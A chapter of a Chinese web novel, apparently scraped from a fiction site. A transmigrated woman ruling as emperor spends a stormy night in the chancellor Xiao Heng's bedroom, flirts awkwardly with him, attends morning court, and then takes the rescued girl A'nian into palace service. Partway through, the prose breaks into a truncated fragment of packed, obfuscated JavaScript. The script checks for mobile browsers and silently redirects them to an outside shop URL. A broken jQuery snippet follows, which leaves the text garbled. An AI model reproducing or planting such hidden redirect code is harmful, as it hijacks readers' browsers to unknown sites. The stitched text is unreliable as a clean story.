文趣网 > 其他小说 > 权臣宰相要上位 > 17. 夜宿相府 心念骤起
    马车在风雨中摇摇晃晃前行,不到半刻钟就停在了相府门前。

    不多时,管家撑着油纸伞来接人,拉开车帘后,见自家主子的身旁竟然坐着两位年轻貌美的少女,不由心下微诧。

    管理相府两年多,还是第一次见大人带女子回来。

    萧衡二话不说,从他手中接过多余的伞,撑开后长臂搂着刘月肩膀,将她护在自己身前以防她被雨水溅到,而后就这么一手撑伞,一手抱着她稳稳地下了马车。

    刘月心跳如雷,心道好强的臂力。

    入了府内,萧衡吩咐管家先将阿念安排好,至于刘月,则被他带去了卧房。

    之后萧衡出去了,侍女抬着浴桶进来,伺候她沐浴更衣。

    浑身浸在温暖的浴汤里,刘月舒畅地叹了口气,继而环顾四周,发现这好像就是萧衡本人的卧房。

    她不确定,随口问了问身旁的侍女:“这是你们萧大人的卧房吗?”

    侍女回答是。

    刘月心里一咯噔,不明白萧衡这是啥意思,难道今晚……他想……与自己共寝?

    虽说君臣共寝在史书中也不稀奇,可放在他俩身上那就是个例外,毕竟他俩性别不同啊!

    刘月不由得脸颊发烫,侍女关切问道:“姑娘,是这水太烫吗?”

    她忙摇头否认。

    沐浴完,换上松垮的寝袍,侍女把床单被褥都换了个遍,又将室内打扫了一番,为她点上安寝香,纷纷退出了屋内。

    刘月披散着长发,在屋内四处闲逛,萧衡的房间装饰简朴,并不豪奢。

    一张宽大的木床,帏幔是素色暗纹菱布,床头摆了只普通瓷瓶,寥寥插着几支花木。案几之上堆叠着书卷文牍,砚台旧而温润,不见珍奇玩器,四下干净,少有繁饰。

    很难想象这是一国宰辅的卧房。

    她想起自己曾经吐槽萧衡定是假借节俭之风虐待楚玉,自己则穿金戴银奢靡浪费,没想到倒是她错怪了他。

    门外忽而传来脚步声,不久有人敲门,萧衡的声音在大雨中有些沉闷不清。

    “今夜就委屈陛下先宿在我的卧房,床褥都已换新,时间不早了,明日还要早起上朝,陛下快歇息吧。”

    “那你呢?”刘月站在屋内问他,“你睡在哪里?”

    门外人发出一声轻笑:“这是相府,还能没有我睡觉的地方吗?今夜我睡客房。”

    刘月顿时明白了,整座宰相府邸,最好的一间卧房恐怕就是萧衡的这间,所以他让出来给她睡。

    她心里又涌上那股难以言说的情感。

    “要不......你、你也进来一同睡吧。”

    这句话说完,刘月自己都觉得大为不妥。

    门外没了声音,天空忽而再次炸开一声惊雷。

    刘月猝不及防,浑身微一哆嗦,低声找补道:“我的意思是......晚上一直打雷,我害怕,你在屏风后支个软榻陪我睡吧。”

    话说完,门外依旧寂静无声。

    她咬了咬唇,干脆豁出去了:“这是朕的命令。”

    良久,门外还是没有反应,刘月以为萧衡走了,可那纸门之上,明明还映着那道颀长挺拔的身影,他还在门外。

    是在想着该如何拒绝?

    刘月轻叹了口气,算了,不强求他了,自己睡吧,其实她并不害怕打雷。

    正欲开口撵他走,却听门外终于响起他低沉的声音:“臣遵旨。”

    稍后侍从搬来一张竹榻,安置在卧房后侧,三折素面屏风横亘其中,将空间一分为二,人在两边,语声可闻,却只能隐隐绰绰望见彼此身形。

    一切安顿好,烛火熄灭,二人各自上了床榻,一时无言,屋内静的落针可闻。

    雨似乎小了些,然而雷声却依旧不止,刘月身下的褥子料子极好,丝滑柔软,还泛着玫瑰的清香,她用力嗅了嗅,侧过身,在黑暗中盯着萧衡睡觉的方向。

    眼前一片漆黑,她什么也看不见,只能听见屏风后的呼吸轻柔缓和。

    萧衡似乎已经进入梦乡了。

    刘月翻过身,平躺在床上,脑海中思绪翻飞,这是自她穿来大曜后第一次离开福安殿睡在别处地方,想想这月余发生的种种,她还是觉得一切犹在梦中。

    当初一脸茫然地来到这里,睁开眼第一个见到的人就是萧衡,那时他凶神恶煞地将长剑架在她脖颈上,她吓得痛哭求饶,从此记恨上了他,现在想来,彼时自己也是憨直口快。

    她记忆全失,口出狂言,错将萧衡当成自己的男/宠,作为手眼通天的大曜权臣,被自家落水后复又醒来的皇帝当成男/宠,他当时一定认为楚玉是被妖邪附身了,所以才抽出刀剑吓唬她吧?

    想到此,她不禁唇角微扬,经过这些时日相处,他发现萧衡其实就是个刀子嘴豆腐心的纸老虎。

    “睡不着吗?”

    黑暗中突然响起一道男声,屏风后传来窸窣的声音,萧衡翻了个身,对着她的方向轻声问道。

    刘月嗯了一声,心跳愈发快了起来,萧衡竟没睡着吗……

    “害怕打雷?”萧衡又问。

    刘月想了想,没回话,最后还是拉长鼻音似是而非地又嗯了一声。

    屏风后静了片刻。

    良久萧衡才道:“睡吧陛下,我在屋内守着……”

    刘月听见这话,乍然心神微动,眸光在黑暗中闪烁,她脑袋一热,精神愈发振奋,竟然起了逗弄萧衡的心思。

    “要不……你来与我同榻而眠……”

    这话脱口后,刘月兀自咽了口唾沫,心跳如擂鼓。

    时间一分一秒过去,萧衡毫无动静。

    刘月觉得无趣,翻过身,对着冰冷的墙壁闭上眼睛。

    “陛下慎言。”良久,萧衡终于开口了,语声喑哑低沉,“男女授受不亲。”

    翌日天还未亮,刘月就被人叫醒了,她头昏脑胀地起床,发现屋内有人,萧衡已穿戴整齐,正坐在窗下的椅子上。

    见她醒来,萧衡不紧不慢道:“昨日陛下的衣服沾了雨水,我命人拿去洗了,稍后先委屈陛下换上我府中侍女的衣服,时间紧急,陛下快起吧,洗漱一番再用些粥饭,要进宫了。”

    因为是在相府,刘月要赶去宫中上早朝,所以起的比平日还要早,再加之昨夜睡得晚,当下眼前发黑又一个跟头栽进了衾被里,闷着声有气无力道:“萧相,你大人有大量,今日能不能允朕请个假,朕好困……”

    “不可。”萧衡果不其然拒绝,侧眸重重往刘月这边望了一眼,“有些事情一旦开了头就会滋生懈怠和侥幸,早朝非是儿戏,往后在陛下的人生中,这是每日都要谨遵例行的公务,岂能说不去就不去。”

    “朕明白了明白了……”刘月泄气地拉长尾音,强打着精神起了床。

    萧衡离去,侍女进来伺候她穿衣束发洗漱,收拾完毕,她与萧衡在厅堂用了些暖粥,二人便披着晨晓的昏光坐上马车去往皇宫。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905412|213009||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >外面还在淅淅沥沥地下着小雨,刘月不愿放过任何补觉的机会,在马车里昏昏欲睡,萧衡却无事人一般,看着好似比平素还要神采飞扬。

    马车颠簸,期间刘月被颠醒了一次,睁开眼,却见萧衡正盯着自己看,黑眸幽深如寒潭,见她醒来,目光相接的那一刻,他又错开目光,默默地闭目养神。

    她被吓了一跳,迅速摸了摸自己的脸,干净光滑,也没流口水啊?

    那萧衡看她干嘛?

    她在车里补个觉应该无伤大雅吧......

    难道是自己的姿势不太端正雅观,没有人君模样?

    也只能是这个原因了,她犹豫片刻,学着萧衡正襟危坐的模样调整了坐姿,再次入睡......

    可能是因为路上补了会觉,早朝时刘月已恢复了生机,丝毫没有困意,完完整整地听完了今日的朝会。

    自上次她在朝堂上公然表明态度,强硬决绝地支持萧衡变法后,这群朝臣倒是收敛了许多,不再提及反对变法之事。

    下了朝后,刘月被轿辇抬回了福安殿,正式用了顿早膳,又卧回床上睡觉去了。

    醒来时睁眼,见殿内有两个年轻侍女正在忙碌,她怔了怔,唤道:“彩云?”

    彩云停下手中动作,回身走向御榻,身后紧跟着一个与她穿相同衣服,模样清秀的少女。

    “陛下醒了,可是要传午膳?”

    刘月没答彩云的话,而是目光落向她身后,诧然道:“阿念……”

    阿念“噗通”一声跪在了地上,颤着声音道:“民、民女参加陛下。”

    刘月有些茫然地看向彩云,昨日她将阿念救下,带去了相府,萧衡将她交由了相府管家安排,她还以为阿念会留在他的府邸。

    彩云支吾道:“陛下睡时,萧相命康公公过来了,将她带到这里,说从今以后让她同奴婢一起伺候陛下……”

    刘月听罢缓缓点头,心道这样也好,又去看阿念,笑道:“快起来阿念,你愿意留在宫中吗?若是不愿,我可以送你出宫,去留与否在你自己。”

    彩云将阿念扶了起来,阿念眼角微红,哽声道:“阿念已经没有家了,愿意一辈子留在宫中伺候陛下,求求陛下别撵阿念离开……”

    刘月观她患得患失的惊恐模样,不禁一阵心疼,软声安抚道:“我没说会撵你出宫,我是尊重你的想法,既然你愿意留在我身边,那就留下吧,正好也给彩云分担些照顾我的重担。”

    彩云忙道:“陛下,奴婢从没觉得照顾陛下是件多么麻烦的事……”

    “我知道……”刘月捂嘴轻笑,对彩云道:“我知道你漂亮又能干,一个人就能把所有活干好,既如此,我再给你加个活,把阿念培养成像你一样完美无缺的人行不行?”

    “陛下……”彩云被揶揄得不好意思,双颊飞上微红,也跟着笑了起来。

    阿念知刘月说这话,是彻底要将自己留下了,当下擦净了眼角残余的泪珠,眼神清亮,昂起头嘴角轻扬。

    福安殿内一时笑意融融。

    刘月留意到阿念的笑脸,这张脸清丽可人,与前世她自己的脸有三分相似,想到昨夜种种,她不禁后怕,这样一个年轻又漂亮的女孩若是被卖进溢香苑,后果将不堪设想……

    她眼底闪过一丝复杂情绪,衾被下的手指紧握成拳,就在这瞬间,昨日在溢香苑楼前燃起的那点星火突然燎成火焰,她望向床头那只吐着缕缕轻烟的金猊香炉,目色变得愈发坚定。